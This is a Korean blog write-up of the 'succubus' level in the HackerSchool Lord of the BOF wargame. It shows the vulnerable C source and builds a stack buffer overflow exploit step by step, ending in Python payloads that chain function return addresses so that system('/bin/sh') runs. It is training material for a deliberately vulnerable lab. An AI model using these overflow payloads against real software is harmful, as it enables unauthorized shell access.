본문 바로가기

WarGame/HackerSchool_LOB

HackerSchool LOB Level17

소스를 본다


/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}
void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}



일단, argv[1]에는 '\x40' 이 들어가면 프로그램이 종료된다.

그리고 argv[1]+44 지점부터 4바이트가 DO 함수의 주소가 아니면 프로그램이 종료된다.


그럼 일단 이 조건들을 먼저 피해보자


argv[1]+44 부터 DO의 주소를 넣으니

일단 피해는 간다.


하지만 우리가 원하는 것은 

DO함수부터 차례대로 가면서 MO까지 도달해야 한다.

전역변수 check값을 계속 변화시키면서 검사하기 때문이다.


결국, MO함수를 실행시켜 인자인 cmd에 /bin/sh 의 주소를 넣으면 system이 실행되는 것이다.

 

하지만 stack destroyer가 있다.


         // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);



buffer부터 44바이트를 0으로 (ret만 남기고 다 0으로 변한다.)

buffer+48부터 버퍼의 끝까지 0으로 (argv도 다 0으로 변한다.)

buffer-3000 부터 2960 바이트만큼 0으로. (buffer-40 부터 buffer 까지는 살아있다.)

--> 즉슨, buffer-40 부터 buffer까지, 그리고 메인함수의 ret주소가 들어있는 스택의 4바이트만 살고 나머지는 모두 0으로 변한다.

 

   스택 위로 끝까지 전부 0      | 100바이트 | ret | sfp | buffer[40] | buffer-40 부터의 40바이트 | 밑으로 쭉 0


주황색 부분만 살고 나머지는 다 0이다.

ebp 는 0xbffffac8 이고

블록 씌운 부분이 [buffer-40 부터의 40바이트]이다.

그리고 0x080487ec 가 ret 부분이다.


일단, DO함수에 들어가므로, 한번 본다.

DO함수의 leave를 실행한 후 레지스터를 보자


현재 esp가 0xbffffa70이고, 이 스택주소를 pop해서 eip로 설정할 것이다.

따라서, 저 부분에 GYE의 주소를 넣으면 될 것이다.



그럼 다시 페이로드를 짜서 gdb로 돌려보자


사용한 페이로드는 아래이다.

`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"AAAA"+"\xbc\x87\x04\x08"+"BBBB"+"\x8c\x87\x04\x08"'`

DO함수의 ret에 브레이크를 건 모습이다.

리턴주소가 AAAA인 것을 알 수 있다.


다시 해보았다.

`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"BBBB"+"\x8c\x87\x04\x08"'`

이제 GYE의 주소가 잘 들어가있다.

이제 eip가 GYE의 주소로 바뀌어 GYE가 실행이 될 것이다.

아래그림은 GYE함수내의 ret 부분의 스택이다.

esp가 바로 다음의 B를 가리키고 있는 것을 볼 수 있다.



다시 해본다.

`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"+"CCCC"'`

MO함수의 system의 인자에 들어갈 스택을 보았다.


\x40을 쓰지 못하므로, CCCC자리에 "/bin/sh" 을 넣어서 BBBB에 CCCC의 스택주소를 넣겠다.

`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"/bin/sh의 스택주소"+"/bin/sh"'`



./succubus `python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xa8\xfa\xff\xbf"+"/bin/sh"'`





'WarGame > HackerSchool_LOB' 카테고리의 다른 글

HackerSchool LOB Lovel18  (0) 2014.08.25
HackerSchool LOB Level16  (0) 2014.08.23
HackerSchool LOB Level15  (0) 2014.08.23
HackerSchool LOB Level14  (0) 2014.08.20
HackerSchool LOB Level13  (0) 2014.08.15